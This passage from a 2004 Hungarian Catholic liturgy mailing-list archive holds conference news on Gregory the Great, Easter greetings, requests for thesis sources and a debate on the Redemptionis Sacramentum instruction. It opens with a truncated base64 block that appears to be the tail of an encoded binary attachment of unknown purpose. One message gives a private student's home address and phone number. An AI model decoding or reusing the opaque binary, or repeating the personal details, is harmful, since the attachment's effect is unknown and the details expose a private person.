T25IR03PkWTQH3NoUncKDWk0mVVCVEHNbUFBCVJDIUwWCW1USQlE0crlEexAQYkk8XSpNEtE /Mk79U8x5elVIJlBpxGhDkVHlCxn0/VkWrIMORpDI63GAQi99+l2VJF0x4FoZ1OUSFauUTAg JEGhD1GkFLAhEcVDM91L+nmSDg1PG5GYHBRpcN9zhST4mU4GdzB+a0hQM1AJc5KywUdTSEVM xphuVWhpZQwSjEtVMJwCAL6kAUAArZOtl61WlrKApLaA/xNz+TPJ/xNzFjPA/xNzH7aAQbAQ /xMSwHP6dTyq6+D/UwgC9oPZAXUO/1ME6yas0eh0LxPJ6xqRSMHgCKz/UwQ9AH0AAHMKgPwF cwaD+H93AkFBlYvFtgBWi/cr8POkXuudi9ZerUh0CnkCrVBWi/KX64etk15GrZdW/xOVrITA dfv+DnTweQVGrVDrCf4OD4Tbc///VlX/UwSr6+AzyUH/ExPJ/xNy+MMC0nUFihZGEtLD/70A AAAAAAAAAAAAVAEAAP+9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGEBAABvAQAAAAAAAAAAAAAA ----------256144616314516-- From fuvesjan@freemail.hu Mon Mar 29 12:24:40 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Mon, 29 Mar 2004 13:24:40 +0200 Subject: [Liturgia] HIR: Gregorius Praesul Message-ID: <029501c41580$6f737010$de82fea9@ROMA> *********************************** *** HÍR: Gregorius Praesul *** *********************************** "Gregorius Praesul" - Konferencia Nagy Szent Gergelyről Magyar Kurír, 2004. 03. 29. Budapest: Ebben az esztendőben emlékezünk I. (Nagy) Szent Gergely pápa halálának 1400. évfordulójára. Ebből az alkalomból - ahogyan arról már előzetesen beszámoltunk - a Gregorián Társaság, a Magyar Liturgikus és Egyházzenei Intézet (MALEZI) és az Országos Magyar Cecília Egyesület tudományos konferenciát szervezett. A rendezvényre március 27-én, szombaton került sor a MALEZI Városligeti fasorban lévő központjában. A fórumon Nagy Szent Gergely életének jeles szakértői tartottak előadásokat. Harald Buchinger osztrák egyetemi oktató Nagy Szent Gergely és a nyugati liturgiatörténet: kulcsfigura vagy identitás-elem? címmel összefoglalta mindazt, amit az egyházatya pápának a római liturgia fejlődéstörténetében kimutatható szerepéről tudni lehet. Az előadó fejtegetéseiből kiderült: Gergely sírverse egyáltalán nem említi liturgikus tevékenységét, a pápai krónika azonban igen. A római püspökök könyvének Gergelyről szóló bejegyzése egyebek mellett utal rá: az eucharisztikus kánoni imát kibővítette a "rendezd el a Te békédben napjainkat" formulával. Ez az információ azonban nem egészen pontos, mivel Gergely nem pusztán kibővítette a korábban valamivel rövidebb szöveget egy általa jónak vélt betoldással, az általános formula bevezetése a Hanc igitur-ba e helyen sokkal inkább rendezést és korlátozást jelentett a partikuláris kérések burjánzó felsorolásában. Harald Buchinger leszögezte: a korai dokumentumok inkább csak a marginális liturgikus intézkedésekről tanúskodnak a gergelyi életműben, liturgikus könyvek szerkesztéséről vagy megszövegezéséről sehol sincs szó. A bécsi egyetemi oktató azt is kétségbe vonta, megállja-e helyét Adorján pápa állítása, amely szerint a Nagy Károlynak küldött szakramentáriumot elődje, Gergely szerkesztette és rendszerezte. Az előadó kutatásaiból arra következtetett: a szakramentárium áthagyományozott formája csak a VII. században alakulhatott ki, minden korábbi szerkesztésre utaló nézet bizonyítatlan feltevés. A gregorián ének történeti besorolását pedig ugyanazok a tényezők nehezítik, mint a szakramentáriumét. Harald Buchinger hangsúlyozta: ha eltekintünk a dallami megformáltság vizsgálatától és csak a szövegi repertoár előtörténetét firtatjuk, arra az eredményre jutunk, hogy az áthagyományozott római ének szövegi szubsztanciájában a Gergely utáni évszázadban keletkezett, s még legalább egy évszázaddal később nyerte el gregorián hangzásvilágát, amelyet csak a IX. századtól kezdtek rögzíteni. Ha Gergely maga tette is az első lépést a kántori szolgálat professzianizálására, csak közvetve állhat e bonyolult folyamat kezdőpontjánál. A gregorián szó is csak e folyamat végén lett a legátfogóbb egyházi énekhagyomány védjegye. Az előadó végkövetkeztetése: a liturgiaalkotó pápának és isteni ihletettségének mítosza tudatos módon született meg és terjedt el Európa-szerte a Karoling-korban, hogy a római liturgiát eredeti forrásvidékéről messze eső területeken is meghonosítsa. A legenda irodalmi termékei és ikonográfiai illusztrációi kézről kézre jártak. E sűrített propagandisztikus eszközök, valamint folyamatok sikere nem is maradt el. Gergely liturgiatörténeti identitás-elemmé stilizálása a késői nemzedékek révén és távoli területeken is hatékonyan járult hozzá a római liturgia elterjesztéséhez. Így lett végül is Gergely a nyugati liturgiatörténet kulcsfigurájává - mondta végül Harald Buchinger bécsi egyetemi oktató. Verbényi István kanonok, a MALEZI igazgatója Nagy Szent Gergely a lelkipásztor címmel tartott előadást. Az előadó hangsúlyozta: azért nevezi Gergelyt lelkipásztornak, mert ő maga is így nyilatkozik magáról, és megírt egy művet, a Liber regulae pastoalist - Lelkipásztori regula -, amelyben az elvárásokat és a feladatokat fogalmazza meg. A könyv 591-ben jelent meg. Verbényi atya megállapította: a mű megírásának oka az volt, hogy Gergely az elöljárók elé egy eszményt akart állítani. Nemsokkal a Regula elkészülte előtt levelet írt a négy keleti pátriárkának, kifejtve a hitvallás fontosságát az újonnan választott püspök életében. Külön hangsúlyozta a pásztor jelleg fontosságát. Beszélt azonban az erkölcsi tökéletességről, elítélte a negatívumokat. Gergely pápa a Regulában megfogalmazta többek között, hogy milyen legyen a lelkipásztori hivatást választó személy: "Az, és csakis az állíttassék másoknak minden tekintetben életpéldául, aki a test összes szenvedélyeinek meghalva, már a lélek életét éli, aki a világ szerencséjével nem törődik, a megpróbáltatásoktól nem fél, csak a belül valók után kívánkozik. Akinek szándékával jól összehangolódva, sem a test az ő gyengeségével, sem a lélek makacsságával nem mond ellen. Ki a másét nem kívánja, de a magáét kiosztja. Aki igaz jámborság által könnyen hajlik a megbocsátásra, de a megbocsátásban az illő mértéket át nem hágván, nem tér le az igazság útjáról. Aki semmi meg nem engedettet nem művel, hanem még a másoktól elkövetetteket is mint a magáét megsiratja." Verbényi atya hangsúlyozta, hogy a Regulát a középkorban az új püspököknek átadták, mint fontos szabálykönyvet, amely a szolgálatukban nagy segítségükre lehet. A mű ma is él, számos nyelvre - így magyarra is, Félegyházy József révén - lefordították. Ladocsi Gáspár püspök "Defensor Urbis" - A város védelmezője címmel tartott előadást, bemutatva, hogy Nagy Szent Gergely miként védelmezte a várost pápaként. A püspök rámutatott: Gergely pápasága idején Róma történetének egyik legválságosabb időszakát élte, idegen hatalmak - longobárdok, gótok - szorongatták, s emiatt, valamint a császári hivatalnokok túlkapásai és az egyházi vagyonkezelők lelkiismeretlenségei miatt a római egyház birtokai alig-alig jövedelmeztek, s így a szegényebbeket éhínség fenyegette. Ezért Gergely pápa jó gyakorlati érzékkel és emberismerettel új vagyonkezelőket választott, akik a birtokokat hamarosan felvirágoztatták. Utasította gondnokait, hogy a császári hivatalnokokkal való jó kapcsolat érdekében ne fukarkodjanak, ha ajándékot kell adniuk. Nagyon szigorúan felügyelt arra, hogy az egyházi szolgálatban lévő bérlők és parasztok igazságos és emberséges bánásmódban részesüljenek. Kamatmentes kölcsönnel segítette őket az elinduláskor. Mindezek mellett rendet teremtett az egyházi intézményekben és plébániákon. Ladocsi Gáspár hangsúlyozta: Gergely a pápaságot az egyház szolgálatának tekintette. A hízelgőn mondogatott egyetemes pápa címet elutasította, mint ahogy nem értett egyet a konstantinápolyi pátriárka ökumenikus pátriárka címével sem. Püspöktársaira való tekintettel így nevezte magát: "Isten szolgáinak szolgája." Gergely nem csupán teológus, nem csak a szent liturgiát művelő személy volt, hanem olyan egyéniség, aki a jogrendet is meg tudta erősíteni. Nem véletlenül áll sírján az Isten konzulja felirat - kortársai ezzel államférfiúi nagyságát ismerték el. A konferencia vesperással ért véget. From csil64@yahoo.com Thu Apr 8 14:42:59 2004 From: csil64@yahoo.com (Laci Csilcser) Date: Thu, 8 Apr 2004 06:42:59 -0700 (PDT) Subject: [Liturgia] Húsvéti ünnep Message-ID: <20040408134259.94947.qmail@web20803.mail.yahoo.com> Kellemes Húsvéti Ünnepeket mindenkinek! Végre (bár nem először) együtt ünnepelhetnek az összes keresztények. Miért nem lehet ez így minden évben? A Megváltó csak egyszer születtett és feltámadni sem kétszer méltóztatott az emberiségért. Laci __________________________________ Do you Yahoo!? Yahoo! Small Business $15K Web Design Giveaway http://promotions.yahoo.com/design_giveaway/ From mark@atya.l2.hu Wed Apr 14 08:19:37 2004 From: mark@atya.l2.hu (=?iso-8859-2?Q?Gere_D=E1vid_M=E1rk?=) Date: Wed, 14 Apr 2004 09:19:37 +0200 Subject: [Liturgia] =?iso-8859-2?B?wWxkb3R0IEj6c3bpdG90ISAtIEPtbXbhbHRveuFz?= Message-ID: <000b01c421f0$db327040$0100a8c0@mark> This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C42201.9BDF4970 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable ----- Original Message -----=20 From: Gere D=E1vid M=E1rk=20 To: Liturgikus levelez=F5lista=20 Sent: Sunday, April 11, 2004 11:26 AM Subject: =C1ldott H=FAsv=E9tot! - C=EDmv=E1ltoz=E1s Kedves Listatagok, F=F5tisztelend=F5 Aty=E1k, Diak=F3nusok, Szerzetesek, = Vil=E1gi Testv=E9reim! Urunk felt=E1mad=E1s=E1nak =FCnnep=E9n a J=F3isten b=F5s=E9ges = =E1ld=E1s=E1t k=EDv=E1nom mindny=E1juknak, mindny=E1jatoknak! Egy=FAttal jelzem az =E9rintetteknek, hogy emailc=EDmem megv=E1ltozott. = =DAj c=EDmem: mark@atya.L2.hu Tisztelettel =E9s szeretettel: fr. Gere D=E1vid M=E1rk SMC ------=_NextPart_000_0008_01C42201.9BDF4970 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
 
----- Original Message -----=20
From: Gere D=E1vid = M=E1rk
Sent: Sunday, April 11, 2004 11:26 AM
Subject: =C1ldott H=FAsv=E9tot! - = C=EDmv=E1ltoz=E1s

Kedves Listatagok, F=F5tisztelend=F5 = Aty=E1k, Diak=F3nusok,=20 Szerzetesek, Vil=E1gi Testv=E9reim!
 
Urunk felt=E1mad=E1s=E1nak =FCnnep=E9n = a J=F3isten b=F5s=E9ges=20 =E1ld=E1s=E1t k=EDv=E1nom mindny=E1juknak, = mindny=E1jatoknak!
 
Egy=FAttal jelzem az =E9rintetteknek, = hogy emailc=EDmem=20 megv=E1ltozott. =DAj c=EDmem: mark@atya.L2.hu
 
Tisztelettel =E9s = szeretettel:

fr. Gere D=E1vid=20 M=E1rk SMC
------=_NextPart_000_0008_01C42201.9BDF4970-- From rkurnyek@tiscali.it Fri Apr 23 17:05:20 2004 From: rkurnyek@tiscali.it (=?iso-8859-1?Q?K=FCrnyek_R=F3bert?=) Date: Fri, 23 Apr 2004 18:05:20 +0200 Subject: [Liturgia] Redemptionis Sacramentum Message-ID: <000b01c4294c$db9f73d0$c2000b3e@yourdptro2nhbf> Ma délelott Francis Card. Arinze és Domenico Sorrentino, az Istentiszteleti és Szentségfegyelmi Kongregáció prefektusa és titkára bemutatták azt az új dokumentumot, mely az Eukarisziával kapcsolatos néhány kérdésrol szól. A dokumentum a Redemptionis Sacramentum címet viseli és a Hittani Kongregáció közremuködésével készült. A dokumentum megszületésének két indítóoka volt: egyészt a Szentatya kifejezett kérése az Ecclesia de Eucharistia enciklikában, másrészt pedig az egyre inkább elszaporodó abúzusok az eukarisztia ünneplésével kapcsolatban. Az instrukció 8 fejezetet és 186 paragrafust tartalmaz. Az elso fejezet a liturgia gondnokairól és szabályzóiról: a püspökökrol, püspöki konferenciákról, papokról és diakónusokról szól. A 2. fejezet a hívok résztvételét taglalja. A 3. fejezet a szetmise helyes bemutatásáról, míg a 4. a szentáldozásról szól. Az 5. fejezet témája az eukarisztia ünneplésével kapcsolatos kérdések, mint pl. az ünneplés helye vagy a liturgikus ruhák. A 6. fejezet az Eukarisztia orzésérol és misén kívüli tiszteletérol szól, míg a 7. fejezet a laikusok szerepét tárgyalja. Az utolsó fejezet az abúzusok orvoslásáról szól. A dokumentumról valószínuleg még az elkövetkezo idoben sokat fogunk hallani, mert nagy várakozás elozte meg a publikálását. Bár a kommentárok még születoben vannak, aki azonban már most szeretne konzultálni a dokumentum szövegével, megtalálhatja a következo linkek alatt: olaszul: http://www.vatican.va/roman_curia/congregations/ccdds/documents/rc_con_ccdds_doc_20040423_redemptionis-sacramentum_it.html németül: http://www.vatican.va/roman_curia/congregations/ccdds/documents/rc_con_ccdds_doc_20040423_redemptionis-sacramentum_ge.html angolul: http://www.vatican.va/roman_curia/congregations/ccdds/documents/rc_con_ccdds_doc_20040423_redemptionis-sacramentum_en.html franciául: http://www.vatican.va/roman_curia/congregations/ccdds/documents/rc_con_ccdds_doc_20040423_redemptionis-sacramentum_fr.html spanyolul: http://www.vatican.va/roman_curia/congregations/ccdds/documents/rc_con_ccdds_doc_20040423_redemptionis-sacramentum_sp.html latinul: http://www.vatican.va/roman_curia/congregations/ccdds/documents/rc_con_ccdds_doc_20040423_redemptionis-sacramentum_lt.html Kürnyek Róbert From satya@hcbc.hu Fri Apr 23 20:10:43 2004 From: satya@hcbc.hu (=?iso-8859-1?B?Rvxs9nAgwWtvcw==?=) Date: Fri, 23 Apr 2004 21:10:43 +0200 Subject: [Liturgia] Redemptionis Sacramentum References: <000b01c4294c$db9f73d0$c2000b3e@yourdptro2nhbf> Message-ID: <01d001c42967$5d775b10$66d4fea9@duron> Ha valaki nem fér hozzá, szívesen elküldöm a német változatot... (negyvenegtynehány oldal...) satya ----- Original Message ----- From: "Kürnyek Róbert" To: "Liturgikus Lista" Sent: Friday, April 23, 2004 6:05 PM Subject: [Liturgia] Redemptionis Sacramentum > Ma délelott Francis Card. Arinze és Domenico Sorrentino, az Istentiszteleti > és Szentségfegyelmi Kongregáció prefektusa és titkára bemutatták azt az új > dokumentumot, mely az Eukarisziával kapcsolatos néhány kérdésrol szól. A From nemesl@edasz.hu Tue Apr 27 08:41:34 2004 From: nemesl@edasz.hu (Nemes =?iso-8859-1?Q?L=E1szl=F3?=) Date: Tue, 27 Apr 2004 09:41:34 +0200 Subject: [Liturgia] =?iso-8859-1?Q?H=E9tv=E9gi=20szent=EDr=E1si?= szakasz hiba References: Message-ID: <408E0EAE.A9FC9F2F@edasz.hu> Sziasztok! Úgy érzem, hogy a mostan (húsvét 4. vasárnapi) hétvégi igenaptárral nemstimmel valami a neten, nem tudjátok kit lehetne ilyenkor értesíteni, mertsehol nem talatam rendszergazda emilcímet. Üdv. N. laci Ez a level virusellenorzesen esett at! This message was checked against viruses! From erdeigrete@hotmail.com Sat May 1 17:44:43 2004 From: erdeigrete@hotmail.com (Erdei Greta) Date: Sat, 01 May 2004 18:44:43 +0200 Subject: [Liturgia] osegyhaz Message-ID: Szaisztok! Erdei Grete vagyok, uj listatag:) Dolgozatot kell irnom egyhaztori szeminariumra, a liturgia enekeirol. szeretnek minnel reggbre lehetoleg az osegyhaz liturgikus enekeire visszaasni, de ketsegbeejtoen keves anyagot talaltam. Ha vki, segiteni tud erdekelne minden magyar es angol konyvtarakban, interneten felleheto forras. Elore is koszonom, Udv. Greta ___________________________________ Erdei Gréte 6724, Szeged Londoni krt.13 06-20/201-4303 _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus From megego77@yahoo.com Sat May 1 19:48:18 2004 From: megego77@yahoo.com (Gego I. Julianus) Date: Sat, 1 May 2004 11:48:18 -0700 (PDT) Subject: [Liturgia] Május Message-ID: <20040501184818.43653.qmail@web20721.mail.yahoo.com> --0-1355141405-1083437298=:43543 Content-Type: text/plain; charset=us-ascii Kedves Testvérek! Májusban Máriát köszöntjük a Lorettói litániában. Így jutott eszembe néhány gondolat, fogadjátok szeretettel! Remélem, ez olvashatóbb lesz, mint az utóbbi. Valószínűleg a freemail beállításai miatt nem lehetett olvasni sokhelyt a levelet. A címem ezután ez: megego77@yahoo.com fr. Julianus Örülj, kegyelemben részesített – A májusi Mária-köszöntők margójára – A megtestesülés hírüladását szemlélvén Máriának az Istentől kapott új nevével találkozunk. Az Úr angyala egy váratlan percben köszöntötte és új néven nevezte az el nem jegyzett jegyest: “Örülj, kegyelemben részesített, az Úr veled van” (Lk 1,28). Mi kegyelemmel teljesnek mondjuk a latin körülíró, nem egészen pontos fordítása alapján (a görög kecharitómené-t a latin gratia plena-val adja vissza). Máriában a bűntől elsőként megváltott embert szemléljük, Isten képmásának tökéletes tükrözését; egy olyan leányt, aki meghallja Isten szavát, hallgat rá, elfogadja a kegyelmet, mely képessé teszi az ő szolgálatára. S minthogy Máriának, az első kereszténynek új neve: kegyelemben részesített, úgy attól kezdve minden kereszténynek keresztsége folytán ez az új neve – kegyelemben részesített. És attól kezdve minden kereszténynek sajátos hivatása: szolgálatára lenni annak az Istennek, aki Jézus Krisztusban, a Megtestesült Kegyelemben egy asztalhoz ült a bűnösökkel. Ez a szolgálat hitből fakadó engedelmességből születik. Nem teljesítmény, ami formális lemondás lenne, hanem az Isten iránti bizalom kifejezése. Elfogadása annak, hogy Isten ezen az úton mutatja meg az Üdvösséget. Aki kitart ezen az úton, meghallja az Isten szavát és megismeri az igazságot, az élet igéjét. Ő váratlanul megjelenik még ott is, ahol az ajtót már magunkra zártuk, vagy az úton, s megkérdi: Van valami ennivalótok? – miközben ő az eledel, és kinyilatkoztatja magát: Én vagyok… Közli titkát, erőt ad, hogy azt keressük, ami fönt van, ahol ott ül az Isten jobbján. A Megtestesült Kegyelemmel, Jézus Krisztussal való találkozás tisztít meg és tesz részesévé életének, a Kegyelem Teljességének. --------------------------------- Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs --0-1355141405-1083437298=:43543 Content-Type: text/html; charset=us-ascii
Kedves Testvérek!
 
Májusban Máriát köszöntjük a Lorettói litániában. Így jutott eszembe néhány gondolat, fogadjátok szeretettel! Remélem, ez olvashatóbb lesz, mint az utóbbi. Valószínűleg a freemail beállításai miatt nem lehetett olvasni sokhelyt a levelet. A címem ezután ez: megego77@yahoo.com
 
fr. Julianus

Örülj, kegyelemben részesített

– A májusi Mária-köszöntők margójára –

A megtestesülés hírüladását szemlélvén Máriának az Istentől kapott új nevével találkozunk. Az Úr angyala egy váratlan percben köszöntötte és új néven nevezte az el nem jegyzett jegyest: “Örülj, kegyelemben részesített, az Úr veled van” (Lk 1,28). Mi kegyelemmel teljesnek mondjuk a latin körülíró, nem egészen pontos fordítása alapján (a görög kecharitómené-t a latin gratia plena-val adja vissza).

Máriában a bűntől elsőként megváltott embert szemléljük, Isten képmásának tökéletes tükrözését; egy olyan leányt, aki meghallja Isten szavát, hallgat rá, elfogadja a kegyelmet, mely képessé teszi az ő szolgálatára.

S minthogy Máriának, az első kereszténynek új neve: kegyelemben részesített, úgy attól kezdve minden kereszténynek keresztsége folytán ez az új neve – kegyelemben részesített. És attól kezdve minden kereszténynek sajátos hivatása: szolgálatára lenni annak az Istennek, aki Jézus Krisztusban, a Megtestesült Kegyelemben egy asztalhoz ült a bűnösökkel.

Ez a szolgálat hitből fakadó engedelmességből születik. Nem teljesítmény, ami formális lemondás lenne, hanem az Isten iránti bizalom kifejezése. Elfogadása annak, hogy Isten ezen az úton mutatja meg az Üdvösséget. Aki kitart ezen az úton, meghallja az Isten szavát és megismeri az igazságot, az élet igéjét. Ő váratlanul megjelenik még ott is, ahol az ajtót már magunkra zártuk, vagy az úton, s megkérdi: Van valami ennivalótok? – miközben ő az eledel, és kinyilatkoztatja magát: Én vagyok… Közli titkát, erőt ad, hogy azt keressük, ami fönt van, ahol ott ül az Isten jobbján.

A Megtestesült Kegyelemmel, Jézus Krisztussal való találkozás tisztít meg és tesz részesévé életének, a Kegyelem Teljességének.

Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs --0-1355141405-1083437298=:43543-- From hasic@freemail.hu Mon May 3 11:25:08 2004 From: hasic@freemail.hu (=?ISO-8859-2?Q?Kridlo_P=E9ter?=) Date: Mon, 3 May 2004 12:25:08 +0200 (CEST) Subject: [Liturgia] =?ISO-8859-2?Q?mor=E1lis_szakdolgozat?= Message-ID: Kedves listatagok! Segítséget szeretnék kérni. Szakdolgozatomat erkölcsteológiából írom (tudom ez eltér az itteni témá(k)tól), a címe: "Az Úr napjának megünneplése". Minden érdekel ami ezzel a témával kapcsolatos (magyarul), könyvcímek, kézikönyvek ha vannak stb. A teológiai folyóiratokat már végig néztem, onnan van egy kis anyagom. A témák nagyjából: vasárnap, az ünnep, vasárnapi misekötelezettség, vasárnap mint pihenőnap, és minden ami erkölcsteológiai szempontból jó ehhez a témához. Ha valaki tud segíteni könyvcímmel, vagy valamivel várom az E-mail címemre. Előre is köszönöm! Szeretettel: Kridlo Péter V. éves teológus-hallgató Sapientia From biacsi-l@freemail.hu Tue May 4 23:30:13 2004 From: biacsi-l@freemail.hu (=?iso-8859-2?Q?Biacsi_D=E1vid_SJ?=) Date: Wed, 5 May 2004 00:30:13 +0200 Subject: [Liturgia] Redemptionis Sacramentum In-Reply-To: <000b01c4294c$db9f73d0$c2000b3e@yourdptro2nhbf> Message-ID: <000701c43227$5e786b80$0100a8c0@biacsi> Kedves Listatagok, kedves Barátaim, Az Istentiszteleti és Szentségi Kongregáció legújabb, Redemptoris Sacramentum kezdetű instrukciójának franciaországi recepciója ürügyén szólnék, néhol teljesen szubjektíven, nemcsak liturgiáról. Ha valakit fáraszt, nyugodtan ugorja át. A (párizsi) környezetemben az instrukció csaknem egyöntetű, zsigeri elutasítását tapasztalom. Kürnyek Róbert írta: "A dokumentumról valószínuleg még az elkövetkezo idoben sokat fogunk hallani, mert nagy várakozás elozte meg a publikálását." Szeretnék többet olvasni erről a "nagy várakozásról", hiszen többek első reakciója az volt, hogy csak megosztást, lelkiismereti terhet és testvérietlenséget (feljelentgetéseket) fog szülni, ha szélesebb nyilvánosságra kerül, bár meg sem jelent volna. Olyan kultúrában élek, ahol a kereszténység és a társadalom viszonyát az intézménytelenedés (deinstitutionalization) és a szubjektivizmus jellemzi. Az intézménytelenedés alatt azt értem, hogy a vallást az emberek előírásoktól elválasztva élik meg, azaz, fáziseltolódás van a szubjektív vallásos identifikáció ("katolikus vagyok") és a doktrína (dogmák, "vatikáni dokumontumok" stb.) között. A szubjektivizmus (individualizmus) alatt azt értem, hogy a vallás igazsága abban nyilvánul meg, hogy én itt és most mit élek meg belőle és miben válik hasznomra. Ennek egyik forrása de következménye is a nominalizmus (a realizmussal szemben: ki gondolta volna, hogy a skolasztika ezen problémája a huszonegyedik században újult erővel felbukkan?): nincs más valóság, csak az egyéni. Kollektív fogalmak: közösség, egyház -- üresen csengő szavak; csak az individuum, az egyén létezik reálisan. A francia köztársaság hivatalos világnézete ("államvallása"), az alkotmány 2. §-a szerint a negyedik alapja, a laicité szállóigéje akár a következő lehetne: mindent az egyénnek, semmit a közösségnek! Azaz, ennek a filozófiának az egyik olvasata szerint (mely filozófia deklaráltan alapja a francia köztársaságnak) a közösség gátolja az egyént önmaga kibontakozásában (pl. a muzulmán közösség gátolja a nőt egyéniségének kiteljesülésében), ezért meg kell tiltani, hogy a közösség az egyén fölé emelkedjen. [Engedjetek meg egy szubjektív kontrasztot: az 1945 előtti német állam jelmondata nemcsak a poroszoktól örökölt "Gott mit uns" volt, hanem a "Gemeinnutz geht vor Eigennutz" is. Majd minden pénzen (az amerikai "In God we trust"-hoz hasonlóan) rajta volt vagy az egyik, vagy a másik. A mai nyugati modern társadalom deklaráltan ennek ellentéte: a vallás szigorúan a magánszférába tartozik, és ezt a határt nem lépheti át. A közszféra nem deklarálhat vallásos identitást. El tudjátok képzelni, hogy a Paris 8 egyetem oktatói de facto nem mehetnek egy katolikus alapítvány által az egyetemi hallgatók szolgálatára (nyelvtanfolyamok, felzárkóztatás, albérlet-közvetítés, meghallgatás, számítógép-használat...) fentartott egyesület rendezvényeire? El tudjátok képzelni, hogy az előbb említett katolikus alapítvány nem veheti bérbe az egyetem egyetlen termét sem Veni Sancte vagy Te Deum céljára? Franciaországban az Egyház deklaráltan ki van zárva a közéletből (oktatás, javak kezelése, igazságszolgáltatás). El tudjátok képzelni, hogy a hatályos törvények nem teszik lehetővé, hogy tanár, postás, vasutas, minisztériumi tanácsadó legyek, mert akkor fizetést kapnék az államtól, és erre szerzetesként/papként nincs jogom? Amerikában belpolitikai téma, hogy a katolikus elnökjelöltnek -- abortusszal kapcsolatos nézetei miatt -- a püspöke megtiltotta, hogy az egyházmegyéjében szentségekhez járuljon. Itt az lenne botrány, ha egy miniszterről, államtitkárról, némely egyetemen professzorról kitudódna, hogy templomba jár.] ****************** A misekönyv általános rendelkezései nemde azt mutatják be, hogy hogyan szeretné az Egyház ünnepelni a szentmisét? Környezetemből többen (és úgy tűnik számomra, hogy magatartásuk, érvelésük a francia részegyház jelentős részét -- nagyon könnyen lehet, hogy a túlnyomó többségét! -- jellemzi) nem akarják, hogy Rómából mondják meg nekik, hogy hogyan ünnepeljék az eukarisztiát. Nem tartják jogi tekintéllyel rendelkezőnek az Istentiszteleti és Szentségi kongregáció által kidolgozott és a Szentatya által jóváhagyott Instrukciót (vö. intézménytelenedés), és nagyon visszataszítónak találják, hogy a 184. bekezdés a visszaélések jelentésére buzdítja a katolikusokat... Noel Barber rendtársam írta 1996-ban: "The Vatican Council may have had important effects on the teaching and practice of the Church but there is no evidence that it had any effect on mainstream culture. The Church in the West, therefore, remains a marginal institution and secular culture has little or no religious content as evidenced in literature, the arts and music... We will continue to see an increasing secularisation not only of institutions but also of consciousness as an increasing number of people live their lives without reference to religious belief... It is likely that within a generation or two the religious orders will experience in Asia, Africa and Latin America what they are now experiencing in the West." Azért osztom meg újabb párizsi tapasztalataimat, mert N. Barber jóslatát elég valószínűnek látom, és szeretném, ha a magyar részegyházban élő listatagok első kézből tudomást szereznének ezekről, és reagálnának rájuk. Másrészt fáj, hogy a római rítust egyre inkább fikciónak, kiüresedett, tartalom nélküli fogalomnak vélem, hiszen hatalmas eltérések vannak a dokumentumok és a gyakorlat között, ahogyan a dokumentumok előírásait, rendelkezéseit Isten népe néhol jóhiszeműen cselekszi. Harmadszor pedig az ortodoxia és az ortopraxis hatalmas összekötő ereje (ami talán még a mi életünkben hozzájárulhat a keleti asszír és a káld egyház újraegyesüléséhez és elősegítheti a többi szakadás megszűntét) nos, ez a hatalmas ajándék, ami akkora vonzerőt képvisel az iszlámban, egyszerűen eltűnt a modern nyugati egyházból. Tempora mutantur, sed nos mutamur-ne in illis? Itt úgy tűnik számomra, hogy a katolikusok (hívek, papok, szerzetesek) nagy része az egyházi tekintélyt nem sajátjaként, hozzátartozóként éli meg. Máshol, máskor a hívek saját testükkel védték a püspöküket, papjaikat, például Szarvas Miklós rendtársamat Kínában a kommunista hatalomátvétel után, ahogy többek között Koch István naplójában is olvasható, de azt hiszem, Hetényi Varga Károly életműve közelebbi példák tömkelegével szolgál. ***************** Summa summarum: mi a teendő? Mi a helyi egyházak igénye, amelyekben a listatagok élnek/ti éltek? Mi tesz katolikussá? Mi tart meg katolikusnak? Hűség Rómához, a tanítóhivatalhoz? A szentmise adaptálása az eukarisztiát ünneplő pap/hívek/közösség pillanatnyi lelki-testi szükségleteihez? Hogyan fogadható (el) az instrukció abban a részegyházban, amelyben jelenleg élek? Hogyan tehet szabadabbá Krisztus követésében az, ami természeténél fogva köt? Szeretettel üdvözlök mindenkit, Dávid ---------- Biacsi Dávid SJ From biacsi-l@freemail.hu Tue May 4 23:36:18 2004 From: biacsi-l@freemail.hu (=?iso-8859-2?Q?Biacsi_D=E1vid_SJ?=) Date: Wed, 5 May 2004 00:36:18 +0200 Subject: [Liturgia] Redemptionis Sacramentum In-Reply-To: <000701c43227$5e786b80$0100a8c0@biacsi> Message-ID: <000001c43228$38021e00$0100a8c0@biacsi> Levelem első sorában helyesen: Redemptionis Sacramentum. Bocsánat a hibáért. D. From pasaret@ofm.hu Mon May 10 17:38:50 2004 From: pasaret@ofm.hu (pasaret) Date: Mon, 10 May 2004 18:38:50 +0200 Subject: [Liturgia] =?iso-8859-2?Q?el=F6adas?= Message-ID: <409FB01A.B1C19CE2@ofm.hu> Kedves Testvérek! A pasaréti művészeti esték keretében, szerda este, a 18.40-kor kezdődő zsolozsma után Varga Mátyás bencés atya a Pannonhalmi Bazilika liturgikus terének átalakításáról tart előadást. fr. Peregrin From fuvesjan@freemail.hu Tue May 11 08:10:24 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Tue, 11 May 2004 09:10:24 +0200 Subject: [Liturgia] AJANLO: Culmen et Fons kotet Message-ID: <009a01c43727$0b9df510$d802a8c0@malezi2> ****************************************** *** AJÁNLÓ: Culmen et Fons tanulmánykötet *** ****************************************** Húsvétra megjelent a 2003. december 4-én rendezett "Culmen et Fons" szimpózium tanulmánykötete. A könyv tartalmazza az ott elhangzott előadások szövegét, valamint Erdő Péter bíboros úr megnyitó szavait, Konkoly István püspök úr adventi homíliáját, II. János Pál pápának az ünnepre kiadott apostoli levelét, valamint a Sacrosanctum Concilium zsinati konstitúciót. A kötet a MALEZI "Bibliotheca Liturgica" könyvsorozatának nyitó tagja. A tervek szerint a sorozatban tanulmányok, fordítások, konferenciakötetek egyaránt helyet kapnak majd. Kiadta a MALEZI és a Szent István Társulat, kapható a Társulat könyvesboltjaiban 1200.-Ft-os áron. Füzes Ádám From verbenyi@axelero.hu Tue May 11 20:07:33 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Tue, 11 May 2004 21:07:33 +0200 Subject: [Liturgia] Redemptionis Sacramentum 